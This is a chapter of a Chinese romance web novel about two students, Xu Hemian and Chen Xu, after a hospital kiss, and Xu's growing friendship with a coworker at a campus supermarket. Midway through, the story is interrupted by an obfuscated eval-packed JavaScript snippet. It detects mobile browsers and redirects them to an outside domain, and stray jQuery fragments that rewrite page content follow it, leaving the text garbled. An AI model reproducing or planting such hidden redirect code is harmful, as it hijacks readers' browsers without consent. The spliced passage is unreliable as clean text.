如果人生有删除键，许鹤眠一定会删去与高二夏天有关的一切。
那年夏天的记忆瞬间翻涌上来——刺耳的刹车声，变形的车门，漫天的雨，医院里消毒水的味道，还有……
许鹤眠重重闭上了眼睛。
那些被她死死压在心底的碎片，被陈序的话，搅得支离破碎。
许鹤眠的脸色一点点褪去血色，比刚才被雨淋湿时还要苍白，连唇色都淡得几乎看不见。
再睁眼，许鹤眠的眼底瞬间蒙上了一层冷意，不是平时的疏离，而是带着明显的厌恶，像被触碰逆鳞的猫，浑身都竖起尖刺。
许鹤眠下意识地往后退了半步，拉开与陈序的距离，指尖攥得死紧，指甲深深掐进掌心，带来一阵细微的疼，才没让自己失态。
陈序终于察觉到许鹤眠的不对劲。
他看着她眼底骤然凝结的冷意，像平静的湖面瞬间结了冰，连带着周身的空气都冷了几分。
许鹤眠紧抿的唇线绷得笔直，唇瓣泛着失血的白，原本就疏离的眼神此刻更是淬了冰，毫不掩饰的排斥像细密的针，轻轻扎在空气里。
陈序的眉峰微微蹙起，眼底的墨色更浓了些，仿佛被雨水泡过的夜空，沉得看不见底。
他没料到会得到这样的反应。
“不记得了。”许鹤眠的声音冷得像窗外的雨，每个字都带着冰碴子，砸在空气里脆生生的。
她用力别开视线，看向输液室门口的蓝白条纹布帘。
布帘被穿堂风轻轻吹得晃动，边缘扫过墙面，投下斑驳的光影，在许鹤眠苍白的脸上明明灭灭，无声地描摹着她眼底的抗拒。
许鹤眠不想解释，也不能解释。
高二那年的夏天，是她人生里最深的一道疤。她甚至能闻到记忆里那股混合着雨水和汽油的味道，呛得她喉咙发紧。
连她自己都不敢轻易触碰，更遑论对别人说起。
陈序看着许鹤眠这副拒人千里的模样，喉结轻轻滚动了一下，像有什么东西堵在喉咙里，说不出也咽不下。
输液室里再次安静下来，比刚才吻后的沉默更甚。
输液管里的液体“滴答、滴答”往下落，声音在空旷的房间里被放大，如同秒针在敲打着心脏，每一声都坠进两人之间那道无形的隔阂里，沉甸甸的。
窗外的雨仿佛真的不会停歇，豆大的雨珠砸在玻璃上，溅开又滑落，在表面织成一张密不透风的网。
雨痕越来越密，外面的树影、路灯、甚至天空晕成一片模糊的灰绿，像是整个世界都被泡在这片潮湿的沉默里，连呼吸都带着水汽的重。
陈序的目光落在许鹤眠攥紧的拳头上。
许鹤眠眼底的厌恶那样明显，宛如一道无形的屏障。
她始终没有回头看陈序，只是维持着面向布帘的姿势，如同一尊沉默的雕像。
输液室的冷白灯光落在她身上，把她的影子拉得很长，贴在白墙上，影影绰绰。
陈序只能看着许鹤眠的背影，心里关于那封信的暗涌，像被雨水泡过的纸，慢慢沉了下去，变得又冷又重。
他已经记不清写那封信的感受了，只记得当时一个单词背了一个晚自习。
许鹤眠沉默了许久。
直到窗外的雨声稍稍缓了些，她才转过身。
许鹤眠的脚步很轻，一步步走近陈序的病床。
地上的阴影随着她的动作慢慢移动，在冷白的灯光下忽明忽暗。
她走到陪护椅旁，拿起搭在椅背上的背包。
帆布材质的背包不算重，却被许鹤眠攥得很紧，指腹陷进布料的纹路里，留下浅浅的印子。
目光扫过床底，借着从窗户透进来的微光，能看到那只棕色药瓶正静静躺在床脚。
许鹤眠弯下腰，动作很慢，长发随着弯腰的弧度垂下来，遮住了小半张脸，只露出紧抿的唇线。
指尖在床底摸索了两下，终于碰到药瓶的瓶盖，轻轻一勾，将它从床底带了出来。
药瓶被灰尘沾得有些脏，许鹤眠用指尖蹭了蹭瓶身，把灰尘抹掉，然后塞进背包侧袋，拉链拉得“咔嗒”一声响，干脆利落，像在给自己的情绪画上句点。
做完这一切，许鹤眠直起身，站在病床边，与陈序隔着半臂的距离。
她没有看他，目光落在透明细长的输液线上。
“我先走了，早日康复。”许鹤眠的声音听不出太多情绪。
却像一道无形的界线，把刚才那个滚烫的吻划在身后。
陈序的目光落在许鹤眠脸上，喉结上下轻轻滑动，化作一声几不可闻的“嗯”。
*
“你怎么先走了？”
宋希蕊把一袋青苹果放在许鹤眠手边，齐肩长发盖住耳朵。
那双黑白分明的眼睛故意瞪大，直直望着收银台后的许鹤眠，头微微一歪，俨然一副被抛弃的失落模样。
很刻意的表演。
甚至连这份刻意，也是宋希蕊刻意演出来的。
“我有东西落在食堂了，不得不回去拿。”许鹤眠放下扫码枪，对上宋希蕊的目光，“抱歉，没有提前和你说。”
宋希蕊盯住许鹤眠看了几秒，似乎是在评估这位学姐的歉意有几分真几分假。
几秒后，宋希蕊笑起来，耳畔的头发轻轻摇动，露出一丝熠熠生辉的金属光泽。
“学姐，我很记仇的，以后千万不能丢下我。”
许鹤眠嘴唇抿成一条直线，没有说话。
超市里的暖光灯嗡嗡作响，把货架照得亮堂堂的，却驱不散雨季特有的潮湿。
细密的雨丝斜斜地打在玻璃上，晕出一片模糊的水痕，树影和路灯被泡成暖黄的光斑。
收银台后的风扇慢悠悠地转着，吹起许鹤眠额前的碎发，带着点纸张的油墨香。
她正低头划《中国近代史纲要》的教材，笔尖在草稿纸上划过，发出沙沙的轻响。
宋希蕊坐在旁边的小凳子上，手边的消遣工具已经不只是手机，而是12.9寸的iPad，屏幕亮得刺眼，正播放着一部老电影。
宋希蕊看得入迷，手指无意识地敲着台面，跟着剧情轻轻哼着主题曲，齐肩的长发随着动作晃悠，iPad的反光映在她脸上，把她的眼睛衬得亮晶晶的，完全没注意到超市入口处传来的脚步声。
许鹤眠写题的笔尖顿了顿。
余光里，两个熟悉的身影正顺着货架往里走。
是负责查兼职考勤的学姐，手里还拿着笔和本子。
其实校园超市的工作氛围很轻松，没顾客的时候可以看看书，刷刷手机，这些行为都是被允许的，但像宋希蕊这样明目张胆用平板看电影肯定不行。
许鹤眠不动声色地往宋希蕊那边挪了挪椅子，膝盖轻轻碰了碰她的小腿。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123952|179648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋希蕊没反应，眼睛还黏在屏幕上，嘴角甚至带着点入迷的笑意。
两位学姐已经走到零食区，离收银台只有几步远。
许鹤眠放下笔，伸手去够旁边的购物袋，身体自然地往宋希蕊身前倾了倾，刚好挡住iPad的大半屏幕。
她的动作很轻，像是在整理收银台，指尖却在桌下轻轻戳了戳宋希蕊的胳膊，压低声音用气息说：“收起来。”
宋希蕊这才回过神，猛地抬头，顺着许鹤眠的目光看到了查勤的人。
她按灭屏幕，把iPad往包里塞，动作太急，差点把旁边的扫码枪碰掉。
许鹤眠眼疾手快地扶住扫码枪，指尖在台面上敲了敲，示意她放轻松。
学姐们走过来，目光在收银台扫了一圈，落在许鹤眠摊开的教材上，笑了笑，“还在学习呢？”
“嗯，划一下开卷考的重点。”许鹤眠的声音很稳，脸上没什么表情，却刚好挡住宋希蕊藏iPad的动作。
“雨有点大，你们没带伞的话，仓库有新买的备用伞，用完放回去就行。”其中一个学姐翻开笔记本，在上面打了个勾，目光又扫过宋希蕊，“学妹，适应得怎么样？会觉得辛苦吗？”
宋希蕊刚把iPad塞好，闻言立刻坐直了身子，脸上堆起乖巧的笑，“挺好的。”
她说话时偷偷看了许鹤眠一眼，眼底藏着点笑意。
学姐们又叮嘱了几句“离开时注意断电”，便转身往走出超市，脚步声渐渐消失在门外。
直到彻底看不见学姐们的身影，宋希蕊才长舒一口气，从包里重新掏出iPad，长吁一口气：“吓死我了，差点被抓。”
她看着许鹤眠，眼睛弯成了月牙，“学姐，你反应好快，我还以为你不是会帮人打掩护的性格。”
许鹤眠没接话，重新拿起笔，笔尖却悬在教材上没动。
她知道宋希蕊根本不在乎被通报——上次闲聊时宋希蕊说过，她来兼职就是为了混够学分，被骂两句也无所谓。
刚才许鹤眠下意识就想帮宋希蕊遮掩，连她自己都觉得意外。
宋希蕊却没注意到许鹤眠的出神，把iPad放进背包，托着下巴盯着她看，眼神亮晶晶的，带着点探究。
超市里又恢复了安静，只有风扇转动的声音和窗外的雨声，还有远处冷柜制冷的嗡鸣。
“学姐。”宋希蕊忽然开口，声音放软了些，“我们现在……算朋友了吧？”
许鹤眠写题的动作顿了顿。
她抬起头，对上宋希蕊的目光。
宋希蕊的眼睛总是很亮。
许鹤眠的喉结动了动，却没说出话来。
“不说话就是默认。”宋希蕊笑了起来，“我可不可以不叫你学姐？我们好像是同一年出生的。”
宋希蕊平日的声音大多带着雀跃，尾音高高翘起，像犬类动物的尾巴。
但现在，宋希蕊的喉咙仿佛落了一把灰，嗓音透露出一丝寂寥，“许鹤眠，你是我上大学之后交到的第一个朋友。”
这是宋希蕊第一次叫许鹤眠的名字。
许鹤眠握着笔的手指紧了紧，笔尖在纸上划出一道歪斜的线。
她忍不住抬头看她。
许久。
许鹤眠重新落下笔，声线平稳，“为什么我是第一个，你的同学和室友不算朋友吗？我以为你的朋友会很多。”